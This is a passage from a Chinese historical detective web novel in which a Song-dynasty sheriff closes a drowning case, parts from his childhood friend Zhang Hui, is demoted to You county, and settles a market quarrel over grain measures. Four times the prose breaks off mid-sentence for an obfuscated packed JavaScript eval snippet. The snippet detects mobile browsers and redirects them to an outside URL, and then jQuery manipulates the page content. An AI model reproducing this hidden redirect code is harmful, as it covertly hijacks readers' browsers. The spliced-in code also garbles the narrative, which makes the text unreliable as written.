石员外倒是十分冷静,挺了挺脊背说:“县尉这样问,老夫都不知该从何说起了。老沈家遭了难,有求于我们,这不是事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681530|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实吗?” “对啊,沈伯父确实与我家交好,前些日子有求于我们,来往得勤些,这有何不对的?” 宋准微微一笑,端起茶碗抿了一口,说:“那么后半句呢?沈铎要将女儿卖与你家了,我怎么不知大宋何时允许卖女买妻了?” 宋准虽是微笑着,可目光却凌厉,注视着主座上的父子俩,看得他们后背都发毛。 在那样的目光注视之下,石益先挺不住了:“是……是我爱慕文嫣妹妹,想让那个林正则死心来着……”他的声音越来越小,十分心虚地垂下了头。 “但是林正则根本不信这样的谣言,依旧和沈文嫣来往密切,你是在看不惯,于是你干脆叫人杀了他?”宋准追问道。 石益霎时抬起头瞪大了眼,连忙摆手否认:“没有啊县尉,我没有!我……就算借我八个胆子,我也不敢做这种害人命的事情啊!” 石员外在儿子后背上抚了几下,也补充道:“是啊县尉,犬子虽然顽劣了些,可一向都胆小得很,连只耗子都不敢打,是万万不会去杀人的呀。” “当真吗?”宋准问。 “当真!当真!”石益点头如捣蒜,当即就举起手立誓,“我若是杀了人,必叫我不得好死。” 柳晏坐在一边看他那模样没忍住笑了一声,石益循着笑声看到了他,语气委屈着问:“这位公子为何发笑?” “嗯?没事儿,我有病,不用管我。”柳晏知道自己失礼,说完起身行了礼就想去外面等候,怎料一直都沉默着的张惠却将他叫住了。 “柳公子,等问完话了再走吧。” 柳晏回头,只看见张惠还端着茶盏抿着茶,向他使了个眼色,柳晏看懂了,是说他现在这样离开更失礼,于是他便坐回了椅子上,尴尬地喝茶。 宋准转头看了一眼柳晏,无奈叹了口气,知道林正则可能真的就是意外溺亡了,而石益传的这个谣言,只是促成了他和沈文嫣想要私奔的计划。 “你知道林正则究竟是怎么死的吗?”宋准问他。 石益结结巴巴地说:“仿佛是……溺死的吧。” “什么时候听到的消息?” “去兑盐的时候听到的,盐场里的人都在说,林正则淹死在运盐渠里了,我以为是讹传,还去看了,见官府的人围着,我便走了。” “好。那今日暂且就这样吧,我等就先告辞了。”宋准起身行了礼,其他三人见状也起身告辞,石员外带着石益亲自将他们送出门,又目送着他们走了好一段路,才回了府。 张惠这时候才对宋准说:“我说惟衡,你问这几句话,没几句问到点子上啊。” “那贤兄有何高见?请赐教。” “赐教谈不上,别把我捧这么高。我的意思是说,你没问问他们,祭祀的事儿吗?” 张惠此话一出,宋准立刻顿住了脚步,转身就要折返回去,说:“我不问你也不问?你跟来就是为了看我笑话的?” 张惠一把拽住了他的袖子,道:“我现在身不由己,有些话不能说,但你要现在回去再问,就不体面了。” “好。”宋准咬牙切齿,“那依贤兄看,我应该何时去问?” “哟,贤兄这就不知道了,但张子初或许知道些什么。”张惠很是坏心眼儿地笑笑。 柳晏在后面十分惊喜地瞪大了眼睛,趴在令狐朝耳边说:“这个人一定很喜欢惟衡!” 54.敌友 宋准心里觉得似乎哪里怪怪的,但张惠话里的意思他当下就明白,嘴上说着之后见面是敌人,却又不想彼此生分。 “子初兄。”宋准妥协了,无奈地唤他,“请子初兄赐教,愚弟当何时去问?” 张惠勾唇笑着,眼下那两条阴骘纹更明显了。宋准想到从前二人在街头围观算命摊子,那算命的看见张惠就说这孩子阴德极多,现世会是个好人。再看看如今他这死样子,可见那算命的压根儿不准。 “曹牧回去查你那个拐卖案了,等他拿了证据回来,顺理成章。” “多谢子初兄指点,惟衡受教了。”宋准对他敷衍地行了个礼,转身向前走去。 令狐朝在后面眯着眼,歪头压低了声问柳晏:“你是怎么知道的?” “哎呀,你看他笑得那个不值钱的样子,欲擒故纵,惟衡竟也随着他,不知道该说他傻还是单纯,还是又单纯又傻。”柳晏晃着令狐朝的袖子,眨着眼睛看他的脸,又说,“诶,我也喜欢你,你也看不出来吗?” “你说的那是一回事儿吗?”令狐朝翻了个白眼儿,用两根指头捏起柳晏拽着自己衣袖的那只手腕,甩到了他面前,“光天化日的不要拉拉扯扯。” “那晚上回去就可以拉拉扯扯了吗?” “呵呵。”令狐朝冷笑两声,伸手掐住了他的后颈皮,“你再嘴上没个把门儿的胡说八道,我就把你嘴缝上。” 柳晏缩起脖子笑着求饶:“错了错了,好晦言,我不拉拉扯扯了还不行吗。” 他们俩动静太大,引得张惠和宋准都回过头来看,柳晏被看得有些羞了,脸上泛起两片红晕,令狐朝也适时松了手,不自然地咳了一声。 “令狐仵作和柳公子这是在?”张惠有些探究地问道。 宋准噗嗤一声笑出来,说:“他们平日里就是这样的,经常打打闹闹,不用在意。” 待回了衙门,几人便又去了架阁库看卷宗,等着曹参军回来。 其他的事情大多都有了头绪,唯一奇怪的就是那个装着龙涎香和曼陀罗的箱子,曼陀罗也就罢了,龙涎香是皇室可用的,怎么会被藏在盐运码头上呢。 宋准百思不得其解,皱眉看着在书案前翻看沈林二人书信的张惠,问道:“张子初,你这次到底是干什么来的?是程氏的人让你来监视我的?” 张惠眼都没抬,说:“不是,就是来帮忙的,顺便,监督你案子办得怎么样。” 说到这儿他抬起头对上了宋准的视线,又说:“我是通判啊,这一季的职事申状该交了,发愁不知道写什么,我的上司让我上去参你一本,我总得来看看,你有什么能让我参的。” 宋准闻言又好气又好笑,说:“不是已经准备把我流放潭州了吗?还要罚我的仵作,还有什么好看的?” 说到了仵作,令狐朝和柳晏都下意识抬头看着他们二人说话,柳晏手里还拿着几块果脯在吃着,看戏似的看着他们俩。 “都好商量啊,你我毕竟总角之交,令狐仵作的刑罚自然能免则免,但我总要向我的上司交差吧,你这一本我还是得参,还要参得有理有据。你不喜欢潭州的话,成都府路,梓州路,荆湖北路,都可以任选啊。” 宋准这下真的气笑了,咬着牙说:“总之都是离京城八百里开外的地方是吧。” “是了,但你说塞翁失马焉知非福呢,天高皇帝远,你去了也好放开手脚干大事儿啊。我是没得选,我那个窝囊爹非要跟着程氏干,我没办法,为兄只希望你将来给我留条命,实在不行就替我收个尸,把我埋在我们广陵祖宅后面的那棵琼花树底下,我就心满意足了。” “你自己不会生个孩子吗?为什么要我替你收尸?” “瞧你这话说的,生孩子也得你嫂嫂愿意生啊,我又不会生孩子,万一我恶事做多了遭天谴从此绝后了呢?” “……”宋准沉默了,低下头接着看那卷已经看了四五遍的卷宗。 张惠说的话里不知道几分真几分假,不过他有一点说对了,天高皇帝远,做事情便不用太束手束脚,尤其是知道背后有个程氏在虎视眈眈,虽然很想说服自己别畏惧强权,但宋准也是真怕自己什么都还没干成就不明不白地死了。 这样想来,去潭州也好,成都梓州也好,做出些政绩,总有一日能回临安来的。 午后了,曹参军仍未回来,张惠把手里的那些书信放下,说:“都这时候了,曹牧今日多半是赶不回来了,快要放值了,你们预备去哪儿吃饭?” 柳晏早就靠在令狐朝身上睡着了,听到了张惠的话,迷迷瞪瞪睁眼问:“啊?吃饭了?”看到自己还坐在架阁库里,又闭上眼睡了。 宋准放下手里的书信,说:“子初兄不怕叫程氏的人看见,回头在你上司面前告你的状?” “贤弟这就多虑了,我只是问你们去哪儿吃饭,又没说要和你们一起去。”张惠勾唇笑笑,摆摆手出了架阁库的门,不知去哪儿了。 令狐朝看他出去了,便说道:“咱们也走吧?这些东西看你翻来覆去地看了十几遍了,能看出花儿来吗?” “唉,我也不想只盯着这个看啊,张子初那个狗贼在这儿盯着,说话都不自在。” “你说谁是狗贼?”宋准话音刚落,张惠的声音就从门外传来,他一手拎着一个食盒站在门口,模样很是滑稽,脸上表情却十分严肃,质问着宋准。 宋准愣住了,可看他那样子却又没忍住笑出声来,坐在地上的令狐朝也笑了,幸灾乐祸地把柳晏叫醒说:“哎,看好戏了。” “问你话呢宋惟衡,你刚说谁是狗贼?”张惠又问了一遍。 “你,你张子初是狗贼,满意吗?”宋准承认得坦然,看张惠吃了苍蝇似的表情,又补充说,“你明明听清楚了,又要再问一遍。我说,你是不是当通判当久了没人骂你,心里痒痒啊。” 张惠走进来,将食盒放在案上,说:“是,你辱骂兄长和上官,怕我没得弹劾你的罪证是吧?亏我想着多年没一起吃饭了,还叫了索唤送饭来,你就是这样报答我的?” “是你自己找骂,你就活该,这饭也是你欠我的,还要我报答你,我没一刀子攮死你就不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686899|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 柳晏看得目瞪口呆,在令狐朝耳边道:“哇,惟衡在这张子初面前这么会骂啊,长见识了,我要把他们俩写进戏里,唱他个三天三夜。” 宋准自顾自打开了食盒盖子看里面的菜式,梅子酱烧鹅,糟烩鞭笋,莼菜羹,还有鱼脍和糟蟹,都是他自幼爱吃的菜,还有几个粽子。 不知为什么心里隐隐觉得有些愧疚,宋准抬起头看向张惠,对上他那双幽怨的眼睛,他转头问靠在架子边上的令狐朝和柳晏:“令狐仵作,柳公子,一起来吃点吧,不知道你们的口味,随意买了些。” 柳晏和令狐朝对视一眼,站起身拍了拍背后的土,向他道了谢。 宋准将食盒又盖上,说:“就在这儿站着吃吗?回县廨去吧。” “好啊。”张惠答应着,上手收拾书案上的那些物证和卷宗,将其都收回书架上,才和宋准一行关上架阁库的门,回了县廨。 张惠此行按规矩也是要住在县廨的,但因为程氏的关系,他被安排去住程氏的宅子里去了。因此吃过饭,他便匆匆告别,赶去了程氏,说是夜里程氏设宴款待,不能不去。 待他走了,柳晏才十分好奇地问东问西:“哎惟衡,这个张子初到底是什么人啊?你跟他究竟什么关系啊?他为什么那样跟你说话?你怎么说骂就能骂他呢?” 宋准露出个疑惑又无奈的表情,说:“就是他说的,总角之交啊。他长我两岁,小时候两家住得近,经常一起调皮捣蛋的,后来扬州沦陷,我家迁到临安,他父亲就开始给程氏做事了,我们来往就少了。” 柳晏是脱了鞋袜坐在榻上的矮桌边的,令狐朝与他坐在一侧,宋准在另一侧。他像个没骨头的人偶似的靠在令狐朝身上,听了宋准的话,他露出个很邪恶的笑。 “可我看你们关系依旧很好的样子啊,哎,他是不是喜欢你啊。” 宋准闻言皱起了眉头:“稚言,能不要胡言乱语吗,你是龙阳就看谁都是龙阳吗。” “唉,好吧好吧,我就是觉得他看起来不是坏人,瞧他买的菜式都是你爱吃的,还过来跟你说那么多话,按理说,他要真是死心塌地跟着程氏做事的,才不会这样对你呢。” 宋准没回应他的话,在心里思索着,柳晏说的似乎有几分道理,否则张惠为什么要一上来就挑明了他在替程氏办事,还说了那样一番话。 想到这儿,宋准说:“可你又怎么知道他不是来装好人套话的?打好关系,然后趁我不备,捻出些错来,好直接把我处理掉。” “那你还敢当着他的面骂他,说不定他在心里已经记了你一笔了。”柳晏靠在令狐朝身上晃脑袋,伸手在他身上摸了摸,又有些惊喜地说,“诶,晦言你是不是胖了些了?” 令狐朝端着茶盏的手一愣,疑惑道:“哈?” 柳晏在他腰上摸摸,又捏捏他的胳膊:“身上都有肉了,哎呀,脸好像也没那么尖了,我说怎么靠你身上都不硌得慌了。惟衡你把他抱起来看看,是不是重了。” “哈?”宋准和令狐朝同时不解道,“你要让谁抱谁? 55.无凶 “啊,是我有些冒昧了。”柳晏意识到自己似乎说了些什么怪话,坐起身不好意思地笑笑,却又凑到令狐朝面前说,“可是晦言看起来真的胖了些,你瞧这面色都红润了不少。” 令狐朝有些尴尬地咳了一声,没说话,宋准仔细看了看他,说:“哎呀,真是呢,可算不是一脸病态了,平日里瘦得一阵风来都要吹倒了。” “好了,别盯着我看了,吃得好些自然就胖了。”令狐朝抿了口茶,将话题岔开,“不过那个张子初,瞧着确实不像是恶人,他的话你可以信几分。” “当真吗?”宋准有些怀疑,但他心里确实也不太想把张惠视为敌人,总归有自幼的情分在,更何况他也并未害自己。 窗外的虫鸣声响着,柳晏小声哼着歌,在写他的戏文,令狐朝和宋准在矮桌上下棋,一副岁月静好的样子。 约莫着到亥时了,几人刚想收拾收拾睡觉了,张惠却在这时候回来了。 一进屋,他就立刻关上了门,十分警惕地将耳朵贴在门上听外面的动静,确认没什么异常,他才长出一口气,放松了下来,也不像白天时端着姿态,弓腰塌背走到桌边坐下,拿起茶壶猛灌。 “张子初,你搞什么?”宋准问他。 张惠摆了摆手,喝尽了壶里的茶,才喘口气说:“有人在追我,我在你这儿借宿一晚,啊。” “你不是住程氏的宅子里吗?哪来的人追你?你又得罪谁了?” “唉,说来话长。” “那就长话短说。” 张惠撇了撇嘴:“程氏的人觉得我不忠心,想给我点颜色看看,还好我跑得快,不然身上少说也多条口子。” “那你还敢往我这儿来?”宋准听他说的话,不知道为什么就气不打一处来,强忍着上去扇他的冲动,手里紧捏着一枚棋子,像要把它捏成齑粉。 “不是因为你,是因为旁的事情,跟你无关,我在这儿举目无亲,当然只能来找你了。” “这儿就一间房,四个人,怎么睡?” 张惠把这屋子里的陈设扫视了一圈,指指床说:“我跟你挤一挤不就好了,就一个晚上,明日我就回临安了。” 宋准无奈,仰头闭了闭眼,叹口气咬牙切齿地说:“行。” 柳晏在一旁看得兴奋不已,低头看看写好的戏文,又在边上补充了几句,“小公子夜会宋郎,借口身遇险境与之两相欢好,实乃佳话。” 于是夜里,柳晏和令狐朝睡在榻上,宋准和张惠睡在床上。宋准心里总觉得哪里怪怪的,却也想不明白是哪儿不对劲,一整晚都是半梦半醒的,几乎没怎么睡着。 第二日去了衙门,便见到曹参军让人送来的文书,说三槐堂那几人已经招供了七年前的拐卖案,当初买那些祭祀所用孩子的确实是程氏的几个老人,后来的几年也都买过童男童女,但从前年开始就没有再买过。 曹参军还传话说他需要留在临安处理并案的事情,盐官这边就交给张惠和宋准决断。 “哎呀呀,他不管了呢,看来那边的事情更严重呢。”张惠说道。 宋准有些不明所以:“曹参军审出来的意思是那些孩子都是程氏在买,程氏这些老人也全都故去了,这一案就只能这样结了吧。” “那你想怎么结?”张惠挑眉问。 宋准摇了摇头说:“没想怎么结,再多的也查不出什么了,主要是林正则和沈文嫣的案子,还没整理出来,总要给沈氏一个说法。” “哎,那你便给说法去吧,为兄要先行一步了,下回再见又不知道是什么时候了,可别忘了我啊。” 张惠伸手拍了拍宋准的肩膀,微笑着看他,凑近了又在他耳边轻声道:“千万小心程氏的人,斗不过,就先蛰伏。” 说完他在宋准肩膀上捏了一把,转身离开了,在不远处的街头停着辆马车,他登上车,从窗里探出头,对宋准挥了挥手。 下意识地,宋准也向车离开的方向挥挥手,他看见张惠脸上带着笑,就像幼时每次同游后分别那样。 赵主簿看过曹参军的文书,有些拿不定主意,上前问道:“宋县尉,这案子……” 宋准回过神来,说:“生人祭祀一案元凶已经过世多年,依律应当不再追究。至于这林正则一案,林正则是意外溺亡,沈文嫣乃是自缢,此案无凶,当结。” 宋准又将这几日的线索串联起来,将林正则一案的来龙去脉讲述了一遍。 林正则自从被罚至盐场做工后,一直是想要熬过这十年再出去与沈文嫣完婚的,同时他又在暗地里收集了官盐走私的证据,想要替家人报仇。 但沈氏也被九曜的人盯上,被迫向石氏求助,沈文嫣得知此事,不想让林正则被发现还与他们有联系,便想要暂时断联。 林正则不想让沈文嫣陷入两难,便计划了要与她私奔,但沈文嫣知道逃跑并非那样容易,就做好了自己在林正则之后离开的准备,并在盐神庙里为他准备好了逃去岭南的盘缠。 而石益因为爱慕沈文嫣,在知道林正则与沈文嫣有婚约之后,就在盐场散布谣言,想要林正则死心,却不想林正则听闻谣言,一气之下与传播谣言的盐工动了手,以为是针对自己的杀局已至,便想要趁夜从运盐渠中离开。 但他身上有伤,夜里冷水一激,便撑不住了,溺亡在离码头不远的地方,被水流带到了红树边上。 他死后,沈氏的危机仍在,正巧石员外来提亲,沈铎多方考量,觉得唯一能保全女儿的办法就是将她嫁与石氏,此后沈氏再落魄,她也能体体面面地活下去。 可却不想沈文嫣是个有气性的,竟直接吊死在了花轿上,自此一对多情男女双双殒命。 赵主簿听完后叹了口气,没说出什么话来,在场众人也都鸦雀无声,许久,赵主簿才说:“既然如此,那此案就该了结了,宋县尉也可回临安复命了,这些日子多亏了你啊。” “主簿客气了,都是宋某分内之事。”宋准向他行过一礼,寒暄过几句,便与令狐朝回县廨收拾行李。 柳晏还在榻上睡着,他每日总睡得格外久,令狐朝说他这是长寿命,他便更心安理得了。 他们此行带的东西不多,很快就收拾完了,在整理床榻时,宋准看到了压在枕下的一封信,看字迹,是张惠留下的。 他在信里说,他在找机会离开程氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693991|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他是他家长公子,没办法不跟着他爹干,唯一的办法就是熬死他爹,等他当上家主,才能光明正大地站队。 最后他又嘱咐宋准,小心程氏的人,不要叫他们捻出错来,这次他回去向朝廷述职时,可能会将宋准的错处说得严重些,但令狐朝的事情他会尽力说和,不会有什么刑罚,最多就是不能在临安做仵作。 宋准看完他写的这些,又好气又好笑,最后将那信烧了个干净,与令狐朝和柳晏乘车往临安县去。 一路颠簸,三人有一搭没一搭地聊着天,柳晏始终对张惠十分好奇,问东问西,问到张惠的婚配,宋准想了想,说:“从前似乎是和哪家的女公子定过亲的,不知道什么时候成婚。” “有婚约啊,那他到底喜欢男的还是女的?” “我怎么知道?都四五年没见过他了。”宋准打量了一下柳晏,说,“不会是你又看上他了吧?想探听探听底细?” “怎么可能!我爱的只有晦言一个人,再来什么人我都不会移情别恋的。” 令狐朝闭了闭眼:“这对吗?要不你还是移情别恋吧,你的感情来得太猛烈了,我承受不住。” “晦言,你这是什么话?我爱你和你有什么关系?”柳晏甚是不满地大叫,“再说了,有人爱你不好吗?我也没给你添麻烦,你平心而论,你一点儿都不喜欢和我待在一起吗?” “那倒也不是。”令狐朝依旧闭着眼,向后靠在靠垫上,嘴角微微扬起一个弧度,“只是你也不担心哪日我喜欢上哪个姑娘,成了婚呢?” 柳晏瞪大了眼睛,两行清泪从眼角滑落,晕开了脸上的胡粉,他没再说话,靠在窗边小声抽泣着,委屈极了。 宋准在一边戳戳令狐朝,向他使眼色,令狐朝这才睁开眼,看到柳晏微微颤抖的肩膀,没忍住笑了出来。 “怎么了?哭什么呢?”令狐朝拍了拍他的肩膀,“不是说爱我和我没关系吗?怎么哭得这样伤心?” 柳晏扁着嘴,故意不去看他,也不说话,就默默淌着眼泪,任令狐朝晃着他肩膀,他也只垂眼看着旁边地上,许久,才十分委屈地抬眼说:“你之前说你男人女人都不喜欢,如今却说要和姑娘成婚了,我在你心里算什么。” 他哭得眼圈和鼻头都红红的,眼泪不再往下掉了,在眼眶里打转,令狐朝看他这副样子,笑着替他擦了擦眼泪:“算……总角之交,可以吗?” “刚学会个词儿就抄来用,旁的总角之交也过命吗?” “那就是过命的总角之交,可以吗?”令狐朝笑着,揉了揉他的脑袋,“小孩子想那么多干什么,我怎么会和姑娘成婚呢。” 听了令狐朝这样说,柳晏才终于破涕为笑,向他靠近了些,紧紧攥住了他的衣袖。 马车到临安的时候已经是傍晚了,宋准放下行李去向王县令述过职,便和令狐朝柳晏一同去了醉欢楼吃晚饭。 数月前就许下的一顿饭,如今才兑现,几人兴致都不错,饮了些酒,令狐朝双颊和耳朵都通红,又被柳晏灌了二两陈酿下去,最后几人都歇在了醉欢楼,第二日才回去。 而正如张惠所说的,调任的文书也如期而至了。 56.左迁 吏部来的文书,将宋准调至潭州的攸县作县尉,官职自从八品降为九品,月俸从十二贯降到十贯。 州府也下了一份文书,令狐朝从前违规验尸,不能再做仵作,且要受十杖,由王县令监督行刑。 王县令知道令狐朝平日里为案子侦破出了不少力,给他腰上垫了软垫,只象征性地打了十杖,行刑的伍人都没怎么用力,十杖就打完了,令狐朝完全没被伤到,但还是配合着惨叫了几声,算是让众人知道他受了刑了。 再后来就是收拾行装,走水路往攸县去。 柳晏将临安的产业出手了一部分,另一部分留给了信任的部下打理,他带着鬼樊余下的几人提早出发,说是要先去攸县置办好产业落脚,这回,他预备包下一间茶馆。 宋准的现在的宅子是上面赏的,不能随意交易,他便将母亲和弟弟接了过来,叫他们住着;攸县多山,又要走水路,他的马不便带着,便留在了家里,正好弟弟过不了多久也要出仕了,总能用得上。 令狐朝的河船屋也让宋准弟弟帮忙照看着,他嘴上说着等以后回来也不一定会再住这儿,可真要走的时候,他却也有些不舍了。 “唉,怎么说也是我亲手一点一点改造的船屋,也住了好些年呢。”他说。 宋准拍了拍他的肩膀:“令狐兄,总有一日会回来的,相信我。” 六月初十从临安出发,到攸县渡口的时候已经是六月底了,一路上水路转陆路,陆路又转水路,天气炎热,令狐朝的身子多有不适,还好他常备着救急药物,也并无大碍。 柳晏一早就放了信鸽接到消息,早早来到渡口上等候,一见到令狐朝下来,他便迫不及待地上前紧紧拥住了他,激动得眼泪都在眼眶里打转。 令狐朝笑着在他后背上拍拍,说:“好了好了,不就半个多月没见吗,你在这边可都安顿好了?” 柳晏还是不愿松手,就那样将下巴埋在他肩窝里,闷闷地说:“安顿好了,在市集最热闹的地方盘下来一间茶馆,已经开了几日了,生意还不错呢。今日是你的生辰呢,晦言。” 令狐朝一愣:“是吗?” “是啊,六月二十九,你二十四岁的生辰呢。我给你订好了生辰宴,晚上去。” 忽然他想到什么,又一把将宋准拽来抱住:“惟衡!真是好久好久好久不见啊!” “啊!稚言,快…快松手,边上还有人呢!”宋准没防备,吓得脸瞬间通红,整个人僵住一动不动,只压低了声音在叫柳晏松手。 柳晏松开他,叫人接过了他们二人的行李,问道:“这次你们都随我一起住吧?这里租金很便宜,我租了间大宅子,离衙门也不远,就隔两条街。” 令狐朝说:“我都可以啊,惟衡呢?” “嗯,我也可以。住一起的话也省得每日见面都要奔波了,还能预防有些人再乱吃什么东西把自己放倒。” “啧。”令狐朝微一皱眉,“怎么说话呢惟衡,什么陈芝麻烂谷子的事儿还要拿出来教训我,我在你眼里就是一个会随便乱吃东西把自己放倒的人吗?” “不好说,有些人以前还说,哪天要用一副毒药把自己送走呢。” 柳晏闻言大惊:“什么?!晦言,你还说过这种话?不行不行,这下我一定要把你看好了,一定要让你活过八十。” 令狐朝无奈地笑笑,但还是应了声:“好。” 攸县是一个多山的地方,东倚罗霄山余脉,西南部多丘陵,其间密林深谷纵横,瑶人杂居于其中,多与汉人有纠纷。 涞水纵贯县境,攸水自西北而来与之交汇,在河道附近形成了十八险滩,水匪滩匪于其中称霸,常劫掠过往商船,屡禁不止。 宋准上任第二日,点完卯便照例带着捕快巡逻市集。 攸县比起从前临安的事务,还多了几项,要带弓兵训练,还需要检查城中布防以及城墙有无破损。 城外贼匪不少,这些事一件都不得马虎。第一次检查城墙,就找到了三处破损。 弓兵长李二郎不好意思地挠挠头,说他们平日里只顾着练兵剿匪,没太细细检查城防。宋准也不好说什么,攸县县尉一职空着也有半年,也不怪下面人懈怠。 平日里的午膳都在衙门吃,衙厨会做茭白籽蒸饭,配以鱼鲊,夏日炎热,还有冰镇木莲子汤,格外消暑。 晚饭则是要回家自炊,不过令狐朝自然包揽了这些,他如今不用验尸,人生地不熟的没人知道他从前是仵作,他便找了家医馆当起了药师,虽挣不到几个钱,却也乐在其中。 而柳晏,他经营茶馆,每日网罗各方消息,还让人在渡口处摆了茶摊,仿佛还在歌楼里安插了眼线,城里的大事小事全都瞒不过他,有时也能探听到些匪徒的消息,宋准便提前防备,从未失手。 就这么平平淡淡过了一月,宋准对着前任县尉留下的一本《峒寨方言集录》,将攸县本地的方言学了个五六成,城中结构和城外地形也让他摸了个清楚,和弓兵下属也都熟稔了不少。 但这种岁月静好的日子总是长久不了的。 八月初,该是秋收时节了,每隔几日就能收到佃农的报案,自家的稻谷被邻人割了呀,田垄被商队车马碾了呀,宋准日日忙得焦头烂额,这种案子审了一桩一桩又一桩,好容易熬到秋收结束,汉瑶互市又出了岔子。 那互市市集令狐朝经常去,瑶人住在山林里,以打猎和采药为生,他们很清楚什么药材好,令狐朝便是去买那药材的。 这日宋准正在市集上巡逻,远远就看见互市区域挤了好些人,围观的众人说是交易所用的斗不准,便吵起来了。 清散开人群,地上已经躺着个受了伤的青年,捂着胳膊哎呦哎呦地叫唤,看穿着,是个瑶人。 宋准上前查看那人的伤势,身上有些擦伤,胳膊似乎是脱臼了,他回头在人群中搜寻着,一眼就看到了不远处正在那选药材的令狐朝,大喊了一声:“令狐兄!” 令狐朝听到是宋准的声音,赶忙过去查看,看见躺在地上的青年,还有他无力垂下去的手臂,立刻就明白了是怎么回事。 让宋准将那青年搀着坐起,令狐朝按住他的肩膀将胳膊一扭,就把他胳膊接了回去,青年十分难以置信地瞪大了眼,对着令狐朝叽里咕噜说了一堆方言,令狐朝没听懂,“啊?”了一声。 宋准说:“令狐兄,他说谢谢你,想问你的名字。” “哦,鄙姓令狐,不用谢,举手之劳而已。”令狐朝摆了摆手。 瑶人青年听了,站起身向他和宋准拱手行礼,用不太标准的官话说:“多谢令狐先生,多谢县尉。” 宋准问他:“你叫什么名字?方才发生了什么事?为何会跟人打起来?” 瑶人青年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709142|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“回县尉,我叫盘一贵,县尉叫我阿贵就是。我和族人来采买粮食,可这个奸商的斗分明是小斗,少了许多分量!” “你怎么说话呢!怎么就小斗了?县尉日日都来巡查,我还能当着县尉的面用私斗?!”那个被叫做奸商的米摊贩子十分不满,指着自己的货物说,“县尉,您来评评理!您日日都见我在此,可有旁人说我用私斗?” 阿贵拿出他们带着的一个口袋,说:“县尉您看看,我们每次出来采买都用这个口袋,正正好好装十升米,他卖给我们说是十升,可这分明就缺了不少,这缺了的难道是叫狗吃了!” 宋准看那装着米的口袋确实是没装满,这卖米的贩子他也面熟,日日都在这儿摆摊,确实也没见旁人说他用私升私斗的。 “好了,别吵了,二郎,回衙门取官斗来。”宋准吩咐道,李二郎听命,便向衙门赶去。 令狐朝看了一眼周围,对宋准道:“没我事儿了吧?我回医馆了啊。” “好,多谢令狐兄帮忙。”宋准笑着对他点了点头,又对那几个瑶人和米摊贩子道,“方才是谁先动的手?就算是斗有问题,为什么不好好说话,动手打人算怎么回事儿?” 米摊贩子连忙摆手道:“哎哟,可不是我,他先要打我,谁知道我一推他他就倒了,纸老虎一个。县尉,您可千万别被这刁蛮的瑶人给蒙骗了呀。” 宋准的目光转向了阿贵,问他:“怎么回事?为何要打人?发现斗不准,应当来报官才是,官府自会出面解决,你们这样在街上斗殴,若是追究起来,应当要徒一年!” 阿贵和他身边的几个族人闻言有些心虚地面面相觑,阿贵结结巴巴地说:“我…我们一时心急……” “一时心急便能打人了?一时心急解决问题了吗?若不是令狐先生正巧在这儿,你这胳膊还要是不要了?”宋准十分严肃地训斥他们,常听人说瑶人野蛮,他这也是头一次和瑶人打交道,没想到就遇上他们当街打人。 阿贵连忙行礼又作揖:“县尉,我们真的就只是心急了,再说这……我也没真的打伤他吗不是……” “行了,看你是初犯,又是事出有因,也没打伤人,此事便就此作罢,今后再遇到这种事情,不要动手打人,君子动口不动手,懂不懂这个道理?” “懂懂懂!”阿贵连忙点头,“县尉教训得是,阿贵今后定不再犯!” 李二郎脚程快,这会儿已拿着官斗回来了,宋准接过那盖了朱印的官斗,对那米摊贩子说:“官斗已经取来了,你这斗若是真有毛病,你现在自己承认了,我便不多责罚你,若是我验完发现你这斗不准,可就不是这么轻罚了。依照律法,私造斛斗秤度不平者,杖七十。” 米摊贩子理直气壮,拿出自己的斗说:“我做生意讲究的就是一个信,这斗是我去年才从官府盖了印的,我问心无愧!” 宋准将阿贵他们米袋子里的米倒进官斗,正是平平的一斗,不多不少,倒进米摊贩子的斗里也是正正好好的一斗。 宋准对阿贵说:“看到了?斗是准的,他没讹你们。反倒是你们这米袋子不准,想必是用久了松垮了,自然就装不满。” 